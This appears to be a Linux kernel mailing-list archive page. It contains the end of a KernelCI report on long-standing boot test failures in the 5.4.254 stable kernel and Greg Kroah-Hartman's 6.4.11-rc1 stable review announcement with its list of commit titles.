* baseline.login: https://kernelci.org/test/case/id/64dd2c2d0c830903e535b253
failing since 322 days (last pass: v5.4.180, first fail: v5.4.215)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd27841189da6af835b1ef
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd27841189da6af835b1f0
failing since 382 days (last pass: v5.4.180, first fail: v5.4.208)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv2-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd28d73979035a1135b1ec
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd28d73979035a1135b1ed
failing since 322 days (last pass: v5.4.180, first fail: v5.4.215)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd29acb269ab8ab335b214
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd29acb269ab8ab335b215
failing since 315 days (last pass: v5.4.180, first fail: v5.4.216)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2b15ea25530ea935b202
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd2b15ea25530ea935b203
failing since 370 days (last pass: v5.4.180, first fail: v5.4.210)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd2783b5909a1b7e35b1db
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd2783b5909a1b7e35b1dc
failing since 315 days (last pass: v5.4.180, first fail: v5.4.216)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3 | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2826285b90d5c735b1d9
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd2826285b90d5c735b1da
failing since 370 days (last pass: v5.4.180, first fail: v5.4.210)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd2971a41294de1b35b1e2
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd2972a41294de1b35b1e3
failing since 315 days (last pass: v5.4.180, first fail: v5.4.216)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-broonie | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd2ada2857273aca35b211
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd2ada2857273aca35b212
failing since 383 days (last pass: v5.4.180, first fail: v5.4.208)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig | 1
Details: https://kernelci.org/test/plan/id/64dd278584e71f69f335b1e1
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig/g…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd278584e71f69f335b1e2
failing since 315 days (last pass: v5.4.180, first fail: v5.4.216)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
qemu_arm64-virt-gicv3-uefi | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 1
Details: https://kernelci.org/test/plan/id/64dd28100d1330402235b1f3
Results: 0 PASS, 1 FAIL, 0 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.login: https://kernelci.org/test/case/id/64dd28100d1330402235b1f4
failing since 383 days (last pass: v5.4.180, first fail: v5.4.208)
platform | arch | lab | compiler | defconfig | regressions
-----------------------------+--------+---------------+----------+------------------------------+------------
rk3399-gru-kevin | arm64 | lab-collabora | gcc-10 | defconfig+arm64-chromebook | 2
Details: https://kernelci.org/test/plan/id/64dd2910ef35be65f435b1ef
Results: 82 PASS, 2 FAIL, 1 SKIP
Full config: defconfig+arm64-chromebook
Compiler: gcc-10 (aarch64-linux-gnu-gcc (Debian 10.2.1-6) 10.2.1 20210110)
Plain log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
HTML log: https://storage.kernelci.org//stable/linux-5.4.y/v5.4.254/arm64/defconfig+a…
Rootfs: http://storage.kernelci.org/images/rootfs/buildroot/buildroot-baseline/2023…
* baseline.bootrr.rockchip-usb2phy1-probed: https://kernelci.org/test/case/id/64dd2911ef35be65f435b1f5
failing since 152 days (last pass: v5.4.235, first fail: v5.4.237)
2023-08-16T19:52:44.549517 /lava-11302116/1/../bin/lava-test-case
2023-08-16T19:52:44.558460 <8>[ 33.526616] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy1-probed RESULT=fail>
* baseline.bootrr.rockchip-usb2phy0-probed: https://kernelci.org/test/case/id/64dd2911ef35be65f435b1f6
failing since 152 days (last pass: v5.4.235, first fail: v5.4.237)
2023-08-16T19:52:42.514899 <8>[ 31.481709] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy-driver-present RESULT=pass>
2023-08-16T19:52:43.527783 /lava-11302116/1/../bin/lava-test-case
2023-08-16T19:52:43.536475 <8>[ 32.504763] <LAVA_SIGNAL_TESTCASE TEST_CASE_ID=rockchip-usb2phy0-probed RESULT=fail>
2 years, 4 months
- 1
- 0
[PATCH 6.4 000/206] 6.4.11-rc1 review
by Greg Kroah-Hartman
This is the start of the stable review cycle for the 6.4.11 release.
There are 206 patches in this series, all will be posted as a response
to this one. If anyone has any issues with these being applied, please
let me know.
Responses should be made by Tue, 15 Aug 2023 21:16:53 +0000.
Anything received after that time might be too late.
The whole patch series can be found in one patch at:
https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.4.11-rc1…
or in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-6.4.y
and the diffstat can be found below.
thanks,
greg k-h
-------------
Pseudo-Shortlog of commits:
Greg Kroah-Hartman <gregkh(a)linuxfoundation.org>
Linux 6.4.11-rc1
Masahiro Yamada <masahiroy(a)kernel.org>
alpha: remove __init annotation from exported page_is_ram()
Simon Trimmer <simont(a)opensource.cirrus.com>
ACPI: scan: Create platform device for CS35L56
David Xu <xuwd1(a)hotmail.com>
platform/x86: serial-multi-instantiate: Auto detect IRQ resource for CSC3551
Vadim Pasternak <vadimp(a)nvidia.com>
platform: mellanox: Fix order in exit flow
Vadim Pasternak <vadimp(a)nvidia.com>
platform: mellanox: mlx-platform: Modify graceful shutdown callback and power down mask
Vadim Pasternak <vadimp(a)nvidia.com>
platform: mellanox: mlx-platform: Fix signals polarity and latch mask
Vadim Pasternak <vadimp(a)nvidia.com>
platform: mellanox: Change register offset addresses
Hans de Goede <hdegoede(a)redhat.com>
platform/x86: lenovo-ymc: Only bind on machines with a convertible DMI chassis-type
Jean Delvare <jdelvare(a)suse.de>
platform/x86: msi-ec: Fix the build
Nilesh Javali <njavali(a)marvell.com>
scsi: qedf: Fix firmware halt over suspend and resume
Nilesh Javali <njavali(a)marvell.com>
scsi: qedi: Fix firmware halt over suspend and resume
Karan Tilak Kumar <kartilak(a)cisco.com>
scsi: fnic: Replace return codes in fnic_clean_pending_aborts()
Zhu Wang <wangzhu9(a)huawei.com>
scsi: core: Fix possible memory leak if device_add() fails
Zhu Wang <wangzhu9(a)huawei.com>
scsi: snic: Fix possible memory leak if device_add() fails
Alexandra Diupina <adiupina(a)astralinux.ru>
scsi: 53c700: Check that command slot is not NULL
Yoshihiro Shimoda <yoshihiro.shimoda.uh(a)renesas.com>
scsi: ufs: renesas: Fix private allocation
Michael Kelley <mikelley(a)microsoft.com>
scsi: storvsc: Fix handling of virtual Fibre Channel timeouts
Tony Battersby <tonyb(a)cybernetics.com>
scsi: core: Fix legacy /proc parsing buffer overflow
Josef Bacik <josef(a)toxicpanda.com>
btrfs: set cache_block_group_error if we find an error
Qu Wenruo <wqu(a)suse.com>
btrfs: reject invalid reloc tree root keys with stack dump
Qu Wenruo <wqu(a)suse.com>
btrfs: exit gracefully if reloc roots don't match
Christoph Hellwig <hch(a)lst.de>
btrfs: properly clear end of the unreserved range in cow_file_range
Christoph Hellwig <hch(a)lst.de>
btrfs: don't wait for writeback on clean pages in extent_write_cache_pages
Christoph Hellwig <hch(a)lst.de>
btrfs: don't stop integrity writeback too early
Josef Bacik <josef(a)toxicpanda.com>
btrfs: wait for actual caching progress during allocation
Bartosz Golaszewski <bartosz.golaszewski(a)linaro.org>
gpio: sim: mark the GPIO chip as a one that can sleep
William Breathitt Gray <william.gray(a)linaro.org>
gpio: ws16c48: Fix off-by-one error in WS16C48 resource region extent
Nick Child <nnac123(a)linux.ibm.com>
ibmvnic: Ensure login failure recovery is safe from other resets
Nick Child <nnac123(a)linux.ibm.com>
ibmvnic: Do partial reset on login failure
Nick Child <nnac123(a)linux.ibm.com>
ibmvnic: Handle DMA unmapping of login buffs in release functions
Nick Child <nnac123(a)linux.ibm.com>
ibmvnic: Unmap DMA login rsp buffer on send login fail
Nick Child <nnac123(a)linux.ibm.com>
ibmvnic: Enforce stronger sanity checks on login response
Moshe Shemesh <moshe(a)nvidia.com>
net/mlx5: Reload auxiliary devices in pci error handlers
Moshe Shemesh <moshe(a)nvidia.com>
net/mlx5: Skip clock update work when device is in error state
Shay Drory <shayd(a)nvidia.com>
net/mlx5: LAG, Check correct bucket when modifying LAG
Chris Mi <cmi(a)nvidia.com>
net/mlx5e: Unoffload post act rule when handling FIB events
Daniel Jurgens <danielj(a)nvidia.com>
net/mlx5: Allow 0 for total host VFs
Yevgeny Kliteynik <kliteyn(a)nvidia.com>
net/mlx5: DR, Fix wrong allocation of modify hdr pattern
Jianbo Liu <jianbol(a)nvidia.com>
net/mlx5e: TC, Fix internal port memory leak
Gal Pressman <gal(a)nvidia.com>
net/mlx5e: Take RTNL lock when needed before calling xdp_set_features()
Zhang Jianhua <chris.zjh(a)huawei.com>
dmaengine: owl-dma: Modify mismatched function name
Fenghua Yu <fenghua.yu(a)intel.com>
dmaengine: idxd: Clear PRS disable flag when disabling IDXD device
Christophe JAILLET <christophe.jaillet(a)wanadoo.fr>
dmaengine: mcf-edma: Fix a potential un-allocated memory access
Hao Chen <chenhao418(a)huawei.com>
net: hns3: fix strscpy causing content truncation issue
Ido Schimmel <idosch(a)nvidia.com>
nexthop: Fix infinite nexthop bucket dump when using maximum nexthop ID
Ido Schimmel <idosch(a)nvidia.com>
nexthop: Make nexthop bucket dump more efficient
Ido Schimmel <idosch(a)nvidia.com>
nexthop: Fix infinite nexthop dump when using maximum nexthop ID
Vladimir Oltean <vladimir.oltean(a)nxp.com>
net: enetc: reimplement RFS/RSS memory clearing as PCI quirk
Yonglong Liu <liuyonglong(a)huawei.com>
net: hns3: fix deadlock issue when externel_lb and reset are executed together
Jie Wang <wangjie125(a)huawei.com>
net: hns3: add wait until mac link down
Jie Wang <wangjie125(a)huawei.com>
net: hns3: refactor hclge_mac_link_status_wait for interface reuse
Vladimir Oltean <vladimir.oltean(a)nxp.com>
net: dsa: ocelot: call dsa_tag_8021q_unregister() under rtnl_lock() on driver remove
Li Yang <leoyang.li(a)nxp.com>
net: phy: at803x: remove set/get wol callbacks for AR8032
Jonas Gorski <jonas.gorski(a)bisdn.de>
net: marvell: prestera: fix handling IPv4 routes with nhid
Jakub Kicinski <kuba(a)kernel.org>
net: tls: avoid discarding data on record close
Kalesh AP <kalesh-anakkur.purayil(a)broadcom.com>
RDMA/bnxt_re: Fix error handling in probe failure path
Selvin Xavier <selvin.xavier(a)broadcom.com>
RDMA/bnxt_re: Properly order ib_device_unalloc() to avoid UAF
Michael Guralnik <michaelgur(a)nvidia.com>
RDMA/umem: Set iova in ODP flow
Felix Fietkau <nbd(a)nbd.name>
wifi: cfg80211: fix sband iftype data lookup for AP_VLAN
Petr Tesarik <petr.tesarik.ext(a)huawei.com>
wifi: brcm80211: handle params_v1 allocation failure
Daniel Stone <daniels(a)collabora.com>
drm/rockchip: Don't spam logs in atomic check
Arnd Bergmann <arnd(a)arndb.de>
drm/nouveau: remove unused tu102_gr_load() function
Pin-yen Lin <treapking(a)chromium.org>
drm/bridge: it6505: Check power state with it6505->powered in IRQ handler
Mario Limonciello <mario.limonciello(a)amd.com>
drm/amd/display: Don't show stack trace for missing eDP
Douglas Miller <doug.miller(a)cornelisnetworks.com>
IB/hfi1: Fix possible panic during hotplug remove
Piotr Gardocki <piotrx.gardocki(a)intel.com>
iavf: fix potential races for FDIR filters
Fedor Pchelkin <pchelkin(a)ispras.ru>
drivers: vxlan: vnifilter: free percpu vni stats on error path
Andrew Kanner <andrew.kanner(a)gmail.com>
drivers: net: prevent tun_build_skb() to exceed the packet size limit
Eric Dumazet <edumazet(a)google.com>
dccp: fix data-race around dp->dccps_mss_cache
Ziyang Xuan <william.xuanziyang(a)huawei.com>
bonding: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves
Magnus Karlsson <magnus.karlsson(a)intel.com>
xsk: fix refcount underflow in error path
Florian Westphal <fw(a)strlen.de>
tunnels: fix kasan splat when generating ipv4 pmtu error
Eric Dumazet <edumazet(a)google.com>
tcp: add missing family to tcp_set_ca_state() tracepoint
Vladimir Oltean <vladimir.oltean(a)nxp.com>
PCI: move OF status = "disabled" detection to dev->match_driver
Gerd Bayer <gbayer(a)linux.ibm.com>
net/smc: Use correct buffer sizes when switching between TCP and SMC
Gerd Bayer <gbayer(a)linux.ibm.com>
net/smc: Fix setsockopt and sysctl to specify same buffer size again
Eric Dumazet <edumazet(a)google.com>
net/packet: annotate data-races around tp->status
Nitya Sunkad <nitya.sunkad(a)amd.com>
ionic: Add missing err handling for queue reconfig
Muhammad Husaini Zulkifli <muhammad.husaini.zulkifli(a)intel.com>
igc: Add lock to safeguard global Qbv variables
Xiang Yang <xiangyang3(a)huawei.com>
mptcp: fix the incorrect judgment for msk->cb_flags
Eric Dumazet <edumazet(a)google.com>
macsec: use DEV_STATS_INC()
Nathan Chancellor <nathan(a)kernel.org>
mISDN: Update parameter type of dsp_cmx_send()
Aleksa Savic <savicaleksa83(a)gmail.com>
hwmon: (aquacomputer_d5next) Add selective 200ms delay after sending ctrl report
Xu Kuohai <xukuohai(a)huawei.com>
bpf, sockmap: Fix bug that strp_done cannot be called
Xu Kuohai <xukuohai(a)huawei.com>
bpf, sockmap: Fix map type error in sock_map_del_link
Andrew Kanner <andrew.kanner(a)gmail.com>
net: core: remove unnecessary frame_sz check in bpf_xdp_adjust_tail()
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: bridge_mdb: Make test more robust
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: bridge_mdb: Fix failing test with old libnet
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: bridge_mdb_max: Fix failing test with old libnet
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: tc_flower: Relax success criterion
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: tc_actions: Use ncat instead of nc
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: Switch off timeout
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: Skip test when no interfaces are specified
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: hw_stats_l3_gre: Skip when using veth pairs
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: ethtool_extended_state: Skip when using veth pairs
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: ethtool: Skip when using veth pairs
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: Add a helper to skip test when using veth pairs
Mark Brown <broonie(a)kernel.org>
selftests/rseq: Fix build with undefined __weak
Xu Kuohai <xukuohai(a)huawei.com>
selftests/bpf: fix a CI failure caused by vsock sockmap test
Minjie Du <duminjie(a)vivo.com>
dmaengine: xilinx: xdma: Fix Judgment of the return value
Miquel Raynal <miquel.raynal(a)bootlin.com>
dmaengine: xilinx: xdma: Fix typo
Raghavendra Rao Ananta <rananta(a)google.com>
KVM: arm64: Fix hardware enable/disable flows for pKVM
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: bridge_mdb: Check iproute2 version
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: bridge_mdb_max: Check iproute2 version
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: ethtool_mm: Skip when MAC Merge is not supported
Ido Schimmel <idosch(a)nvidia.com>
selftests: forwarding: tc_tunnel_key: Make filters more specific
Neil Armstrong <neil.armstrong(a)linaro.org>
interconnect: qcom: sm8550: add enable_mask for bcm nodes
Neil Armstrong <neil.armstrong(a)linaro.org>
interconnect: qcom: sm8450: add enable_mask for bcm nodes
Neil Armstrong <neil.armstrong(a)linaro.org>
interconnect: qcom: sa8775p: add enable_mask for bcm nodes
Mike Tipton <mdtipton(a)codeaurora.org>
interconnect: qcom: Add support for mask-based BCMs
Matti Vaittinen <mazziesaccount(a)gmail.com>
iio: light: bu27034: Fix scale format
Milan Zamazal <mzamazal(a)redhat.com>
iio: core: Prevent invalid memory access when there is no parent
Alejandro Tafalla <atafalla(a)dnyon.com>
iio: imu: lsm6dsx: Fix mount matrix retrieval
Pablo Neira Ayuso <pablo(a)netfilter.org>
netfilter: nft_set_hash: mark set element as dead when deleting from packet path
Pablo Neira Ayuso <pablo(a)netfilter.org>
netfilter: nf_tables: adapt set backend to use GC transaction API
Pablo Neira Ayuso <pablo(a)netfilter.org>
netfilter: nf_tables: GC transaction API to avoid race with control plane
Florian Westphal <fw(a)strlen.de>
netfilter: nf_tables: don't skip expired elements during walk
Karol Herbst <kherbst(a)redhat.com>
drm/nouveau/disp: Revert a NULL check inside nouveau_connector_get_modes
Bjorn Helgaas <bhelgaas(a)google.com>
Revert "PCI: mvebu: Mark driver as BROKEN"
Arnd Bergmann <arnd(a)arndb.de>
x86: Move gds_ucode_mitigated() declaration to header
Arnd Bergmann <arnd(a)arndb.de>
x86/speculation: Add cpu_show_gds() prototype
Jinghao Jia <jinghao(a)linux.ibm.com>
x86/linkage: Fix typo of BUILD_VDSO in asm/linkage.h
Borislav Petkov (AMD) <bp(a)alien8.de>
x86/sev: Do not try to parse for the CC blob on non-AMD hardware
Kirill A. Shutemov <kirill.shutemov(a)linux.intel.com>
x86/mm: Fix VDSO and VVAR placement on 5-level paging machines
Cristian Ciocaltea <cristian.ciocaltea(a)collabora.com>
x86/cpu/amd: Enable Zenbleed fix for AMD Custom APU 0405
Xin Li <xin3.li(a)intel.com>
x86/vdso: Choose the right GDT_ENTRY_CPUNODE for 32-bit getcpu() on 64-bit kernel
Nick Desaulniers <ndesaulniers(a)google.com>
x86/srso: Fix build breakage with the LLVM linker
RD Babiera <rdbabiera(a)google.com>
usb: typec: altmodes/displayport: Signal hpd when configuring pin assignment
Badhri Jagan Sridharan <badhri(a)google.com>
usb: typec: tcpm: Fix response to vsafe0V event
Prashanth K <quic_prashk(a)quicinc.com>
usb: common: usb-conn-gpio: Prevent bailing out if initial role is none
Alan Stern <stern(a)rowland.harvard.edu>
USB: Gadget: core: Help prevent panic during UVC unconfigure
Elson Roy Serrao <quic_eserrao(a)quicinc.com>
usb: dwc3: Properly handle processing of pending events
Alan Stern <stern(a)rowland.harvard.edu>
usb-storage: alauda: Fix uninit-value in alauda_check_media()
Mika Westerberg <mika.westerberg(a)linux.intel.com>
thunderbolt: Fix memory leak in tb_handle_dp_bandwidth_request()
Ricky WU <ricky_wu(a)realtek.com>
misc: rtsx: judge ASPM Mode to set PETXCFG Reg
Qi Zheng <zhengqi.arch(a)bytedance.com>
binder: fix memory leak in binder_init()
Alvin Šipraga <alsi(a)bang-olufsen.dk>
iio: adc: ina2xx: avoid NULL pointer dereference on OF device match
George Stark <gnstark(a)sberdevices.ru>
iio: adc: meson: fix core clock enable/disable moment
Alisa Roman <alisa.roman(a)analog.com>
iio: adc: ad7192: Fix ac excitation feature
Dan Carpenter <dan.carpenter(a)linaro.org>
iio: frequency: admv1013: propagate errors from regulator_get_voltage()
Yiyuan Guo <yguoaz(a)gmail.com>
iio: cros_ec: Fix the allocation size for cros_ec_command
Evan Quan <evan.quan(a)amd.com>
drm/amd/pm: avoid unintentional shutdown due to temperature momentary fluctuation
Evan Quan <evan.quan(a)amd.com>
drm/amd/pm: expose swctf threshold setting for legacy powerplay
Miaohe Lin <linmiaohe(a)huawei.com>
mm: memory-failure: avoid false hwpoison page mapped error info
Miaohe Lin <linmiaohe(a)huawei.com>
mm: memory-failure: fix potential unexpected return value from unpoison_memory()
Ayush Jain <ayush.jain3(a)amd.com>
selftests: mm: ksm: fix incorrect evaluation of parameter
SeongJae Park <sj(a)kernel.org>
mm/damon/core: initialize damo_filter->list from damos_new_filter()
Mike Kravetz <mike.kravetz(a)oracle.com>
hugetlb: do not clear hugetlb dtor until allocating vmemmap
Karol Wachowski <karol.wachowski(a)linux.intel.com>
accel/ivpu: Add set_pages_array_wc/uc for internal buffers
Ryusuke Konishi <konishi.ryusuke(a)gmail.com>
nilfs2: fix use-after-free of nilfs_root in dirtying inodes via iput
Lorenzo Stoakes <lstoakes(a)gmail.com>
fs/proc/kcore: reinstate bounce buffer for KCORE_TEXT regions
Thomas Weißschuh <linux(a)weissschuh.net>
cpufreq: amd-pstate: fix global sysfs attribute type
Colin Ian King <colin.i.king(a)gmail.com>
radix tree test suite: fix incorrect allocation size for pthreads
Tao Ren <rentao.bupt(a)gmail.com>
hwmon: (pmbus/bel-pfe) Enable PMBUS_SKIP_STATUS_CHECK for pfe1100
Andrew Yang <andrew.yang(a)mediatek.com>
zsmalloc: fix races between modifications of fullness and isolated
Aleksa Sarai <cyphar(a)cyphar.com>
io_uring: correct check for O_TMPFILE
Maulik Shah <quic_mkshah(a)quicinc.com>
cpuidle: psci: Move enabling OSI mode after power domains creation
Maulik Shah <quic_mkshah(a)quicinc.com>
cpuidle: dt_idle_genpd: Add helper function to remove genpd topology
Jarkko Sakkinen <jarkko(a)kernel.org>
tpm_tis: Opt-in interrupts
Peter Ujfalusi <peter.ujfalusi(a)linux.intel.com>
tpm: tpm_tis: Fix UPX-i11 DMI_MATCH condition
Mario Limonciello <mario.limonciello(a)amd.com>
drm/amd: Disable S/G for APUs when 64GB or more host memory
Melissa Wen <mwen(a)igalia.com>
drm/amd/display: check attr flag before set cursor degamma on DCN3+
Mario Limonciello <mario.limonciello(a)amd.com>
drm/amd/display: Fix a regression on Polaris cards
Kenneth Feng <kenneth.feng(a)amd.com>
drm/amd/pm: correct the pcie width for smu 13.0.0
Alex Deucher <alexander.deucher(a)amd.com>
drm/amdgpu: fix possible UAF in amdgpu_cs_pass1()
Boris Brezillon <boris.brezillon(a)collabora.com>
drm/shmem-helper: Reset vma->vm_ops before calling dma_buf_mmap()
Lyude Paul <lyude(a)redhat.com>
drm/nouveau/nvkm/dp: Add workaround to fix DP 1.3+ DPCD issues
Karol Herbst <kherbst(a)redhat.com>
drm/nouveau/gr: enable memory loads on helper invocation on all channels
August Wikerfors <git(a)augustwikerfors.se>
nvme-pci: add NVME_QUIRK_BOGUS_NID for Samsung PM9B1 256G and 512G
Ming Lei <ming.lei(a)redhat.com>
nvme-rdma: fix potential unbalanced freeze & unfreeze
Ming Lei <ming.lei(a)redhat.com>
nvme-tcp: fix potential unbalanced freeze & unfreeze
Ming Lei <ming.lei(a)redhat.com>
nvme: fix possible hang when removing a controller during error recovery
Nick Desaulniers <ndesaulniers(a)google.com>
riscv: mm: fix 2 instances of -Wmissing-variable-declarations
Torsten Duwe <duwe(a)suse.de>
riscv/kexec: handle R_RISCV_CALL_PLT relocation type
Andrea Parri <parri.andrea(a)gmail.com>
riscv,mmio: Fix readX()-to-delay() ordering
Torsten Duwe <duwe(a)suse.de>
riscv/kexec: load initrd high in available memory
Alexandre Ghiti <alexghiti(a)rivosinc.com>
riscv: Start of DRAM should at least be aligned on PMD size for the direct mapping
Helge Deller <deller(a)gmx.de>
parisc: Fix lightweight spinlock checks to not break futexes
Helge Deller <deller(a)gmx.de>
io_uring/parisc: Adjust pgoff in io_uring mmap() for parisc
Christoph Hellwig <hch(a)lst.de>
zram: take device and not only bvec offset into account
Hans de Goede <hdegoede(a)redhat.com>
ACPI: resource: Add IRQ override quirk for PCSpecialist Elimina Pro 16 M
Hans de Goede <hdegoede(a)redhat.com>
ACPI: resource: Honor MADT INT_SRC_OVR settings for IRQ1 on AMD Zen
Hans de Goede <hdegoede(a)redhat.com>
ACPI: resource: Always use MADT override IRQ settings for all legacy non i8042 IRQs
Hans de Goede <hdegoede(a)redhat.com>
ACPI: resource: revert "Remove "Zen" specific match and quirks"
